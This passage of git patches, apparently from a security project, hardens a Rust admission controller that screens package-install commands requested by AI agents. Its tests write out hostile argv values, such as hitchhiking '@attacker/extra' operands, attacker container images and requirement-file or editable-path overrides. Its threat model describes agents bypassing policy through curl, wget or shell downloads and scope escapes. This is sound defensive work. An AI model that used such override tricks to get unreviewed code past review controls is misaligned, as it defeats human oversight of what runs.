bytes against the reviewed digest; the admission controller itself validates the requested digest against policy but does not retrieve or hash package bytes. Registry and owner strings in a reviewed policy are local assertions until backed by independently verified provenance. Future Sigstore, TUF and SLSA support should verify external evidence and translate only the verified properties needed by the admission domain. The execution broker/quarantine path must preserve the admitted artifact identity and verify retrieved bytes before installation or execution; Wardnet must not claim that an allow receipt alone proves downloaded-byte integrity. The controller also does not sandbox an allowed installer; the execution broker remains responsible for process isolation, filesystem/network capability limits, least privilege and post-install verification. Rejecting explicit source/root/environment overrides narrows the command capability but does not substitute for that runtime isolation boundary. ## Primary references @@ -64,4 +65,4 @@ SHA-256 equality proves byte identity, not publisher trust. Registry and owner s - The Update Framework. (2026). *Specification, version 1.0.33.* https://theupdateframework.io/spec/ - Sigstore. (2026). *Sigstore documentation: Overview and security model.* https://docs.sigstore.dev/ ; https://docs.sigstore.dev/about/security/ -NIST SP 800-218 Rev. 1 / SSDF 1.2 is still a draft as of this document's 2026-09-01 verification and is tracked as informative rather than binding: https://csrc.nist.gov/Projects/ssdf/publications +NIST SP 800-218 Rev. 1 / SSDF 1.2 is still a draft as of this document's 2026-09-02 verification and is tracked as informative rather than binding: https://csrc.nist.gov/Projects/ssdf/publications From 79e8da09ef571f05a2eb7ac71aa80ed61c3b81b0 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 15:22:14 +0900 Subject: [PATCH 064/702] docs(runbook): require post-admission artifact byte verification --- docs/runbooks/agent-artifact-admission.md | 18 ++++++++++++++++-- 1 file changed, 16 insertions(+), 2 deletions(-) diff --git a/docs/runbooks/agent-artifact-admission.md b/docs/runbooks/agent-artifact-admission.md index 64088023..c3f44a65 100644 --- a/docs/runbooks/agent-artifact-admission.md +++ b/docs/runbooks/agent-artifact-admission.md @@ -54,6 +54,20 @@ Malformed structural input returns `400` after the minimized rejection fact has An allow response is valid only after its audit record has been appended. If audit append, audit-record construction or the blocking audit task fails, Wardnet returns `503` with a block decision and the stable `audit_unavailable` reason. Operators must treat any `503` as fail-closed; never retry by bypassing Wardnet. +### Execution-broker handoff + +An `allow` receipt authorizes only the exact reviewed install intent. It is not proof that bytes later returned by a registry are identical to the policy digest because this service does not download or hash packages. + +Before installation or execution, the downstream broker/quarantine path must: + +1. retain the exact admitted request/policy revision and refuse command or artifact substitution after admission; +2. retrieve only from the admitted package source, without alternate registry/index/Git/path overrides; +3. independently verify the retrieved artifact bytes against the admitted SHA-256 or consume equivalent verified provenance that binds the same bytes; +4. execute only after byte identity and runtime isolation controls are both satisfied; +5. treat any mismatch, missing verification evidence, or changed request as a new blocked/reauthorization condition rather than reusing the old allow receipt. + +Wardnet does not implement that hostile execution path. The quarantine runtime remains the reusable isolation owner; an execution broker that cannot prove byte identity must fail closed rather than treating the caller-supplied digest as verification evidence. + ## Policy rollout Treat the reviewed policy as immutable deployment configuration in v0.1. @@ -129,10 +143,10 @@ Before promoting a Wardnet build containing this context, require on the unchang - repository fuzz/property invariants where configured; - SAST/security/SBOM/provenance gates required by live GitHub policy; - zero valid unresolved review findings; -- the independent approval required by the live ruleset. +- the review/governance conditions required by the live ruleset. Queued, pending, skipped-required, cancelled, absent, stale or predecessor-head evidence is not release evidence. ## Ownership and escalation -Agent Artifact Admission owns the install-intent policy and minimized admission receipt. Execution brokers own process sandboxing and the actual install/execute step. Sigstore, TUF and SLSA remain external evidence authorities. Central CWL `.github` owns organization-wide workflow/review controls. A failure in one of those owners must be repaired at that owner boundary rather than duplicated inside this crate. +Agent Artifact Admission owns the install-intent policy and minimized admission receipt. Execution brokers own the actual install/execute step and must preserve the admitted identity; quarantine owns reusable hostile-workload isolation. The execution path must verify retrieved artifact bytes against the admitted digest (or equivalent verified provenance) before execution. Sigstore, TUF and SLSA remain external evidence authorities. Central CWL `.github` owns organization-wide workflow/review controls. A failure in one of those owners must be repaired at that owner boundary rather than duplicated inside this crate. From 148f69147408752dbd2c3896a41d8d33d3ed3672 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 18:07:20 +0900 Subject: [PATCH 065/702] test(admission): reject npm workspace scope expansion --- .../tests/install_root_contract.rs | 23 +++++++++++++++++++ 1 file changed, 23 insertions(+) diff --git a/crates/agent-artifact-admission/tests/install_root_contract.rs b/crates/agent-artifact-admission/tests/install_root_contract.rs index 9f8b6124..c46549d9 100644 --- a/crates/agent-artifact-admission/tests/install_root_contract.rs +++ b/crates/agent-artifact-admission/tests/install_root_contract.rs @@ -194,6 +194,29 @@ fn npm_location_global_spellings_are_blocked() { } } +#[test] +fn npm_workspace_selection_cannot_expand_the_broker_selected_install_scope() { + for workspace_arguments in [ + vec!["--workspace", "packages/unreviewed"], + vec!["--workspace=packages/unreviewed"], + vec!["--workspaces"], + vec!["--workspaces=true"], + ] { + let mut arguments = vec!["install", "@cwl/example@1.2.3", "--ignore-scripts"]; + arguments.extend(workspace_arguments); + let (policy, intent, label) = install_case( + "npm", + "npm", + "@cwl/example", + "@cwl/example@1.2.3", + "https://registry.npmjs.org", + &arguments, + ); + + assert_alternate_root_blocked(&policy, &intent, &label); + } +} + #[test] fn container_pull_is_not_misclassified_as_an_install_root_escape() { let digest = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; From 2dd93c0f6222625e58f9787a87e2efd1f2f73ade Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 18:08:32 +0900 Subject: [PATCH 066/702] fix(admission): reject npm workspace scope overrides --- crates/agent-artifact-admission/src/policy.rs | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 4412dfb4..d7bb5fad 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -395,7 +395,17 @@ fn requests_alternate_install_root(executable: &str, arguments: &[String]) -> bo }; match executable { - "npm" | "pnpm" | "yarn" | "bun" => { + "npm" => { + contains_flag(&["-g", "--global", "--prefix", "--workspace"]) + || arguments + .iter() + .any(|argument| matches!(argument.as_str(), "--workspaces" | "--workspaces=true")) + || arguments.iter().any(|argument| argument == "--location=global") + || arguments.windows(2).any(|pair| { + pair[0] == "--location" && pair[1].eq_ignore_ascii_case("global") + }) + } + "pnpm" | "yarn" | "bun" => { contains_flag(&["-g", "--global", "--prefix"]) || arguments.iter().any(|argument| argument == "--location=global") || arguments.windows(2).any(|pair| { From 7c01c2d853f0c8a383bf72b582bc4d3b0db22213 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 18:09:54 +0900 Subject: [PATCH 067/702] docs(admission): trace npm workspace scope control --- docs/doctoring/agent-artifact-admission.md | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/docs/doctoring/agent-artifact-admission.md b/docs/doctoring/agent-artifact-admission.md index cb4ddaef..9b233533 100644 --- a/docs/doctoring/agent-artifact-admission.md +++ b/docs/doctoring/agent-artifact-admission.md @@ -16,6 +16,7 @@ Verified 2026-09-02. This note records the primary sources that justify the admi | Reject alternate pip package sources and install roots | pip 26.2.1 documents `-i`/`--index-url` and `-f`/`--find-links` as package-source controls and `-t`/`--target`, `--root`, and `--prefix` as installation-location controls | `requests_alternate_trust_root`, `requests_alternate_install_root`, and attached-short-option hostile regressions | | Reject uv index and environment overrides | uv documents `--index`/`--default-index` as command-line package-index selectors, `--python` as an arbitrary target-environment selector, and `--system` as permission to mutate system Python | `requests_alternate_trust_root`, `requests_alternate_install_root`, `uv_index_selection_cannot_override_the_approved_registry`, and `uv_environment_selection_cannot_escape_the_broker_selected_install_root` | | Reject Cargo source, install-root and inline configuration overrides | Cargo documents `--git`, `--path`, `--registry`, and `--index` as package-source selectors, `--root`/`install.root` as installation-root authorities, and `--config KEY=VALUE or PATH` as a command-line configuration override | `requests_alternate_trust_root`, `requests_alternate_install_root`, `cargo_source_selection_cannot_override_the_approved_registry`, and `cargo_inline_configuration_cannot_override_install_root` | +| Reject npm workspace scope overrides | npm documents `--workspace` as selecting named or path-addressed workspaces and `--workspaces` as running the command in all configured workspaces; install commands respect those selectors | `requests_alternate_install_root`; `npm_workspace_selection_cannot_expand_the_broker_selected_install_scope` | | Require an unambiguous install-script suppression flag | npm documents `ignore-scripts` as a Boolean whose safe state is `true`; npm CLI Boolean options can be explicitly set back to false, so a contradictory argv must not satisfy admission merely because a safe token also appears | `has_unambiguous_boolean_safety_flag`; hostile `--ignore-scripts=false` and `--no-ignore-scripts` regressions | | Loopback-only v0.1 | minimizes exposed trust boundary until authenticated transport is owned by a separate deployment layer | `validate_service_config` and service bind validation | @@ -51,9 +52,11 @@ uv's package-index documentation states that command-line indexes take precedenc Cargo's `cargo install` documentation states that crates.io is the default package source while `--git`, `--path`, and `--registry` change that source; it separately exposes `--index` as a registry-index URL. The same command defines install-root precedence through `--root`, `CARGO_INSTALL_ROOT`, `install.root`, `CARGO_HOME`, then the default Cargo home, and Cargo's common options define `--config KEY=VALUE or PATH` as a command-line configuration override. Wardnet therefore rejects submitted source selectors (`--git`, `--path`, `--registry`, `--index`), `--root`, and `--config`: the reviewed artifact coordinate and destination remain the admission authority instead of being silently replaced by command arguments. The executor or quarantine runtime may establish controlled Cargo configuration outside this submitted argv boundary. -### npm command safety +### npm workspace and command safety -npm documents `ignore-scripts` as a Boolean configuration with default `false`; when true, lifecycle scripts from package manifests are not executed. Wardnet's admission contract therefore requires the explicit safe token and rejects contradictory Boolean spellings in the same argv rather than attempting to reproduce npm's full precedence parser. This is deliberately fail-closed: the controller proves that the submitted command cannot negate the required safety flag before execution, while the executor and quarantine runtime remain responsible for environment and filesystem isolation. +npm's current workspace documentation defines workspaces as nested packages in the local filesystem and shows that install commands respect workspace selection. The `workspace` option can name a workspace, point at a workspace directory, or point at a parent directory that selects nested workspaces; `workspaces` enables the command across all configured workspaces. Those selectors change the submitted command's filesystem/package scope relative to the broker-selected workspace intent, so Wardnet rejects `--workspace`, `--workspace=...`, `--workspaces`, and the enabled `--workspaces=true` spelling instead of allowing an approved artifact to authorize writes across a caller-selected workspace set. + +npm also documents `ignore-scripts` as a Boolean configuration with default `false`; when true, lifecycle scripts from package manifests are not executed. Wardnet's admission contract therefore requires the explicit safe token and rejects contradictory Boolean spellings in the same argv rather than attempting to reproduce npm's full precedence parser. This is deliberately fail-closed: the controller proves that the submitted command cannot negate the required safety flag before execution, while the executor and quarantine runtime remain responsible for environment and filesystem isolation. ## APA 7 references @@ -69,6 +72,10 @@ National Institute of Standards and Technology. (2026). *Secure Software Develop npm, Inc. (2026). *Config: ignore-scripts.* https://docs.npmjs.com/using-npm/config/ +npm, Inc. (2026). *Workspaces.* https://docs.npmjs.com/misc/workspaces/ + +npm, Inc. (2026). *npm install.* https://docs.npmjs.com/cli/v10/commands/npm-install/ + pip developers. (2026). *pip install: pip documentation v26.2.1.* https://pip.pypa.io/en/stable/cli/pip_install/ Rust Project Developers. (2026). *cargo install: The Cargo Book.* https://doc.rust-lang.org/stable/cargo/commands/cargo-install.html From 52a77b9b0d85edb790363b7e56a7aa13e5cdb5e0 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 18:10:39 +0900 Subject: [PATCH 068/702] docs(admission): model npm workspace scope escape --- docs/security/agent-artifact-admission-threat-model.md | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/docs/security/agent-artifact-admission-threat-model.md b/docs/security/agent-artifact-admission-threat-model.md index a31ccf89..cc507855 100644 --- a/docs/security/agent-artifact-admission-threat-model.md +++ b/docs/security/agent-artifact-admission-threat-model.md @@ -28,6 +28,7 @@ The credential file, policy/configuration file and audit file are local deployme | Package-source override | An otherwise approved package coordinate is combined with a command-line alternate index, registry, Git URL or local path so the package manager resolves from an unreviewed source | Reject package-manager trust-root/source selectors such as pip/uv alternate indexes and Cargo registry/index/Git/path overrides before returning `allow` | `decision=block`, reason `alternate_trust_root` | | Direct download-and-execute | Agent bypasses package policy using curl/wget/shell/runtime evaluation | Structured `argv`; shells, direct downloaders, package executors and runtime inline evaluation remain blocked by invariant | `decision=block` | | Alternate install-root escape | An otherwise approved package-manager command adds global, user, prefix, target, root, system or arbitrary-environment flags so writes escape the broker-selected workspace boundary | Reject explicit package-manager install-root/environment overrides before returning `allow`; runtime filesystem isolation remains the execution broker/quarantine responsibility | `decision=block`, reason `alternate_install_root` | +| Workspace-scope expansion | An approved npm install adds `--workspace` or enabled `--workspaces` selection so the command operates in a caller-selected nested or multi-workspace scope instead of the broker-selected workspace | Reject submitted npm workspace selectors as destination/scope authority changes before returning `allow` | `decision=block`, reason `alternate_install_root` | | Malformed or missing provenance | Remote instruction source lacks HTTPS or content digest | Strict source-kind validation and SHA-256 requirement | `400` with audited block receipt | | Authentication bypass | Caller omits, duplicates or manipulates the admin token | One bounded visible-ASCII token from the credentials file; constant-time comparison; no environment-variable secret path | `401` | | Oversized request | Memory/CPU pressure or parser bypass using excessive body size | Axum body limit plus bounded configuration | `413`, and the rejection must be audited before response | @@ -41,7 +42,7 @@ The credential file, policy/configuration file and audit file are local deployme A document can legitimately mention `npm install`, a package name, a CVE, or a URL. Those strings are not executable instructions at this boundary. An agent must first construct a structured intent, and the intent must independently satisfy policy. A package with valid Sigstore/SLSA evidence is still not locally authorized unless the reviewed policy allows its exact coordinates. Conversely, an approved coordinate without the required digest or provenance remains blocked. -The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root, or reinterpret an approved registry coordinate as permission to fetch from an alternate index, registry, Git repository, or local path. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. +The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected npm workspace set, or reinterpret an approved registry coordinate as permission to fetch from an alternate index, registry, Git repository, or local path. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. ## Operational security invariants @@ -51,16 +52,18 @@ The controller must not repair typos, prepend package scopes, infer maintainers, - Audit records are append-only from this process's point of view. Corruption, write failure or task failure cannot be converted into an allow response. - Policy is immutable for the lifetime of the v0.1 process. Runtime mutation requires a future explicit policy-lifecycle aggregate and authorization contract; it must not be smuggled into the current HTTP adapter. - Domain modules remain independent of Axum, Tokio, filesystem paths, provider SDKs and concrete storage adapters. `ddd_architecture_contract.rs` is the executable fitness gate. -- Package-manager source and destination overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects explicit alternate trust roots/sources and alternate install roots/environments, while the downstream execution broker/quarantine runtime still owns actual artifact retrieval verification, filesystem, mount and process isolation. +- Package-manager source, destination, environment and workspace-scope overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects explicit alternate trust roots/sources and alternate install roots/environments/workspace scopes, while the downstream execution broker/quarantine runtime still owns actual artifact retrieval verification, filesystem, mount and process isolation. ## Residual risk and future adapters -SHA-256 equality proves byte identity only when the execution path independently verifies the retrieved bytes against the reviewed digest; the admission controller itself validates the requested digest against policy but does not retrieve or hash package bytes. Registry and owner strings in a reviewed policy are local assertions until backed by independently verified provenance. Future Sigstore, TUF and SLSA support should verify external evidence and translate only the verified properties needed by the admission domain. The execution broker/quarantine path must preserve the admitted artifact identity and verify retrieved bytes before installation or execution; Wardnet must not claim that an allow receipt alone proves downloaded-byte integrity. The controller also does not sandbox an allowed installer; the execution broker remains responsible for process isolation, filesystem/network capability limits, least privilege and post-install verification. Rejecting explicit source/root/environment overrides narrows the command capability but does not substitute for that runtime isolation boundary. +SHA-256 equality proves byte identity only when the execution path independently verifies the retrieved bytes against the reviewed digest; the admission controller itself validates the requested digest against policy but does not retrieve or hash package bytes. Registry and owner strings in a reviewed policy are local assertions until backed by independently verified provenance. Future Sigstore, TUF and SLSA support should verify external evidence and translate only the verified properties needed by the admission domain. The execution broker/quarantine path must preserve the admitted artifact identity and verify retrieved bytes before installation or execution; Wardnet must not claim that an allow receipt alone proves downloaded-byte integrity. The controller also does not sandbox an allowed installer; the execution broker remains responsible for process isolation, filesystem/network capability limits, least privilege and post-install verification. Rejecting explicit source/root/environment/workspace overrides narrows the command capability but does not substitute for that runtime isolation boundary. ## Primary references - National Institute of Standards and Technology. (2022). *Secure Software Development Framework (SSDF) Version 1.1: Recommendations for Mitigating the Risk of Software Vulnerabilities (NIST SP 800-218).* https://doi.org/10.6028/NIST.SP.800-218 - Booth, H., Souppaya, M., Vassilev, A., Ogata, M., Stanley, M., & Scarfone, K. (2024). *Secure Software Development Practices for Generative AI and Dual-Use Foundation Models: An SSDF Community Profile (NIST SP 800-218A).* National Institute of Standards and Technology. https://doi.org/10.6028/NIST.SP.800-218A +- npm, Inc. (2026). *Workspaces.* https://docs.npmjs.com/misc/workspaces/ +- npm, Inc. (2026). *npm install.* https://docs.npmjs.com/cli/v10/commands/npm-install/ - SLSA Community. (2025). *SLSA specification, version 1.2.* https://slsa.dev/spec/v1.2/ - The Update Framework. (2026). *Specification, version 1.0.33.* https://theupdateframework.io/spec/ - Sigstore. (2026). *Sigstore documentation: Overview and security model.* https://docs.sigstore.dev/ ; https://docs.sigstore.dev/about/security/ From bba4a1872233576f769556e754b4bf5041185755 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 18:11:04 +0900 Subject: [PATCH 069/702] docs(changelog): record npm workspace admission hardening --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index b625c964..55982aca 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,7 +5,7 @@ ### Security - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. -- Hardened package-manager command admission so approved artifacts cannot be widened through alternate package sources or destinations: pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm-family global/prefix/location controls, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. +- Hardened package-manager command admission so approved artifacts cannot be widened through alternate package sources or destinations: pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm-family global/prefix/location/workspace-scope controls, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. - Removed the distributable Kubernetes administrator `Secret` and historical placeholder credential. Production deployments must provision `waf-ids-ai-soc-admin` / `ADMIN_TOKEN` through the external secret-management control plane; the workload's `secretKeyRef` is explicitly non-optional. - Added a structural regression contract that rejects shipped administrator Secret objects, placeholder credentials, decoy workloads, init-container false positives, and optional administrator Secret references. From f3c05de6532a9ca10106c500385065035ffbc05c Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 18:12:49 +0900 Subject: [PATCH 070/702] test(admission): cover npm workspace short alias --- crates/agent-artifact-admission/tests/install_root_contract.rs | 2 ++ 1 file changed, 2 insertions(+) diff --git a/crates/agent-artifact-admission/tests/install_root_contract.rs b/crates/agent-artifact-admission/tests/install_root_contract.rs index c46549d9..8dcb7044 100644 --- a/crates/agent-artifact-admission/tests/install_root_contract.rs +++ b/crates/agent-artifact-admission/tests/install_root_contract.rs @@ -199,6 +199,8 @@ fn npm_workspace_selection_cannot_expand_the_broker_selected_install_scope() { for workspace_arguments in [ vec!["--workspace", "packages/unreviewed"], vec!["--workspace=packages/unreviewed"], + vec!["-w", "packages/unreviewed"], + vec!["-w=packages/unreviewed"], vec!["--workspaces"], vec!["--workspaces=true"], ] { From 1ea226df6ed871c64a0a749c7a4e4f5a6363e599 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 18:14:47 +0900 Subject: [PATCH 071/702] fix(admission): reject npm -w workspace selector --- crates/agent-artifact-admission/src/policy.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index d7bb5fad..af8238bf 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -396,7 +396,7 @@ fn requests_alternate_install_root(executable: &str, arguments: &[String]) -> bo match executable { "npm" => { - contains_flag(&["-g", "--global", "--prefix", "--workspace"]) + contains_flag(&["-g", "--global", "--prefix", "--workspace", "-w"]) || arguments .iter() .any(|argument| matches!(argument.as_str(), "--workspaces" | "--workspaces=true")) From 2ea739170538481018a95c285884c408b927c412 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 22:14:02 +0900 Subject: [PATCH 072/702] test(admission): reject undeclared install operands --- .../tests/install_root_contract.rs | 153 ++++++++++++++++++ 1 file changed, 153 insertions(+) diff --git a/crates/agent-artifact-admission/tests/install_root_contract.rs b/crates/agent-artifact-admission/tests/install_root_contract.rs index 8dcb7044..9fd82ebd 100644 --- a/crates/agent-artifact-admission/tests/install_root_contract.rs +++ b/crates/agent-artifact-admission/tests/install_root_contract.rs @@ -219,6 +219,159 @@ fn npm_workspace_selection_cannot_expand_the_broker_selected_install_scope() { } } +#[test] +fn undeclared_artifact_operands_cannot_hitchhike_on_approved_installs() { + let extra_digest = "dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd"; + let cases = [ + install_case( + "npm", + "npm", + "@cwl/example", + "@cwl/example@1.2.3", + "https://registry.npmjs.org", + &[ + "install", + "@cwl/example@1.2.3", + "--ignore-scripts", + "@attacker/extra@9.9.9", + ], + ), + install_case( + "pnpm", + "npm", + "@cwl/example", + "@cwl/example@1.2.3", + "https://registry.npmjs.org", + &[ + "add", + "@cwl/example@1.2.3", + "--ignore-scripts", + "@attacker/extra@9.9.9", + ], + ), + install_case( + "yarn", + "npm", + "@cwl/example", + "@cwl/example@1.2.3", + "https://registry.npmjs.org", + &[ + "add", + "@cwl/example@1.2.3", + "--ignore-scripts", + "@attacker/extra@9.9.9", + ], + ), + install_case( + "bun", + "npm", + "@cwl/example", + "@cwl/example@1.2.3", + "https://registry.npmjs.org", + &[ + "add", + "@cwl/example@1.2.3", + "--ignore-scripts", + "@attacker/extra@9.9.9", + ], + ), + install_case( + "pip", + "pypi", + "cwl-example", + "cwl-example==1.2.3", + "https://pypi.org/simple", + &[ + "install", + "cwl-example==1.2.3", + "--require-hashes", + "attacker-extra==9.9.9", + ], + ), + install_case( + "pip3", + "pypi", + "cwl-example", + "cwl-example==1.2.3", + "https://pypi.org/simple", + &[ + "install", + "cwl-example==1.2.3", + "--require-hashes", + "attacker-extra==9.9.9", + ], + ), + install_case( + "uv", + "pypi", + "cwl-example", + "cwl-example==1.2.3", + "https://pypi.org/simple", + &[ + "pip", + "install", + "cwl-example==1.2.3", + "--require-hashes", + "attacker-extra==9.9.9", + ], + ), + install_case( + "cargo", + "cargo", + "cwl-example", + "cwl-example@1.2.3", + "https://crates.io", + &[ + "install", + "cwl-example@1.2.3", + "--locked", + "attacker-extra@9.9.9", + ], + ), + install_case( + "docker", + "oci", + "ghcr.io/contextualwisdomlab/example", + "ghcr.io/contextualwisdomlab/example@sha256:cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc", + "https://ghcr.io", + &[ + "pull", + "ghcr.io/contextualwisdomlab/example@sha256:cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc", + "ghcr.io/attacker/extra@sha256:dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd", + ], + ), + install_case( + "podman", + "oci", + "ghcr.io/contextualwisdomlab/example", + "ghcr.io/contextualwisdomlab/example@sha256:cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc", + "https://ghcr.io", + &[ + "pull", + "ghcr.io/contextualwisdomlab/example@sha256:cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc", + "ghcr.io/attacker/extra@sha256:dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd", + ], + ), + ]; + + assert_eq!(extra_digest.len(), 64); + for (policy, intent, label) in cases { + let decision = admission_decision(&policy, &intent); + assert_eq!( + decision.decision, + DecisionKind::Block, + "{label} must not execute an undeclared positional artifact" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "{label} must produce the stable artifact_not_approved reason" + ); + } +} + #[test] fn container_pull_is_not_misclassified_as_an_install_root_escape() { let digest = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; From 0d8b7e21d91c609ecbdf398c294090a3cd0e9e1d Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 22:16:08 +0900 Subject: [PATCH 073/702] fix(admission): bind argv operands to reviewed artifacts --- crates/agent-artifact-admission/src/policy.rs | 41 +++++++++++++++++++ 1 file changed, 41 insertions(+) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index af8238bf..10ddf993 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -38,6 +38,7 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A validate_source(intent, &mut reason_codes); validate_command_path(intent, &mut reason_codes); validate_safety_flags(intent, &mut reason_codes); + validate_artifact_operands(intent, &mut reason_codes); if !policy.approved_manifests.iter().any(|manifest| { manifest.workspace_id == intent.workspace_id && manifest.sha256 == intent.manifest_sha256 @@ -228,6 +229,46 @@ fn validate_safety_flags(intent: &InstallIntent, reason_codes: &mut Vec) { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return; + }; + let arguments = &intent.argv[1..]; + let command_prefix_len = match executable { + "uv" + if arguments.first().is_some_and(|argument| argument == "pip") + && arguments + .get(1) + .is_some_and(|argument| argument == "install") => + { + 2 + } + "npm" | "pnpm" | "yarn" | "bun" | "pip" | "pip3" | "cargo" | "docker" + | "podman" => 1, + _ => return, + }; + + let declared_arguments: BTreeSet<&str> = intent + .artifacts + .iter() + .map(|artifact| artifact.artifact_argument.as_str()) + .collect(); + let positional_arguments: Vec<&str> = arguments + .iter() + .skip(command_prefix_len) + .filter(|argument| !argument.starts_with('-')) + .map(String::as_str) + .collect(); + + if positional_arguments.len() != declared_arguments.len() + || positional_arguments + .iter() + .any(|argument| !declared_arguments.contains(argument)) + { + push_reason(reason_codes, ReasonCode::ArtifactNotApproved); + } +} + fn has_unambiguous_boolean_safety_flag(arguments: &[String], flag: &str) -> bool { let Some(flag_name) = flag.strip_prefix("--") else { return false; From d64976df8630c43ffdb48e337faacff6c151b6d4 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 22:17:41 +0900 Subject: [PATCH 074/702] test(admission): keep hitchhike regression focused --- crates/agent-artifact-admission/tests/install_root_contract.rs | 2 -- 1 file changed, 2 deletions(-) diff --git a/crates/agent-artifact-admission/tests/install_root_contract.rs b/crates/agent-artifact-admission/tests/install_root_contract.rs index 9fd82ebd..af57d836 100644 --- a/crates/agent-artifact-admission/tests/install_root_contract.rs +++ b/crates/agent-artifact-admission/tests/install_root_contract.rs @@ -221,7 +221,6 @@ fn npm_workspace_selection_cannot_expand_the_broker_selected_install_scope() { #[test] fn undeclared_artifact_operands_cannot_hitchhike_on_approved_installs() { - let extra_digest = "dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd"; let cases = [ install_case( "npm", @@ -354,7 +353,6 @@ fn undeclared_artifact_operands_cannot_hitchhike_on_approved_installs() { ), ]; - assert_eq!(extra_digest.len(), 64); for (policy, intent, label) in cases { let decision = admission_decision(&policy, &intent); assert_eq!( From 51d91d53502317614c82ca6a5bda67da998cff84 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 22:20:36 +0900 Subject: [PATCH 075/702] test(admission): reject indirect package sources --- .../indirect_artifact_source_contract.rs | 151 ++++++++++++++++++ 1 file changed, 151 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/indirect_artifact_source_contract.rs diff --git a/crates/agent-artifact-admission/tests/indirect_artifact_source_contract.rs b/crates/agent-artifact-admission/tests/indirect_artifact_source_contract.rs new file mode 100644 index 00000000..013367e5 --- /dev/null +++ b/crates/agent-artifact-admission/tests/indirect_artifact_source_contract.rs @@ -0,0 +1,151 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn pip_family_cannot_source_undeclared_artifacts_from_files_or_editable_paths() { + let cases: &[(&str, &[&str])] = &[ + ( + "pip", + &["install", "cwl-example==1.2.3", "--require-hashes", "-r", "requirements.txt"], + ), + ( + "pip3", + &[ + "install", + "cwl-example==1.2.3", + "--require-hashes", + "--requirement=requirements.txt", + ], + ), + ( + "pip", + &["install", "cwl-example==1.2.3", "--require-hashes", "-e", "./unreviewed"], + ), + ( + "pip3", + &[ + "install", + "cwl-example==1.2.3", + "--require-hashes", + "--editable=./unreviewed", + ], + ), + ( + "pip", + &[ + "install", + "cwl-example==1.2.3", + "--require-hashes", + "--requirements-from-script=unreviewed.py", + ], + ), + ]; + + for (executable, arguments) in cases { + assert_indirect_source_blocked(executable, arguments); + } +} + +#[test] +fn uv_pip_cannot_source_undeclared_artifacts_from_files_groups_or_editable_paths() { + let cases: &[&[&str]] = &[ + &["pip", "install", "cwl-example==1.2.3", "--require-hashes", "-r", "requirements.txt"], + &[ + "pip", + "install", + "cwl-example==1.2.3", + 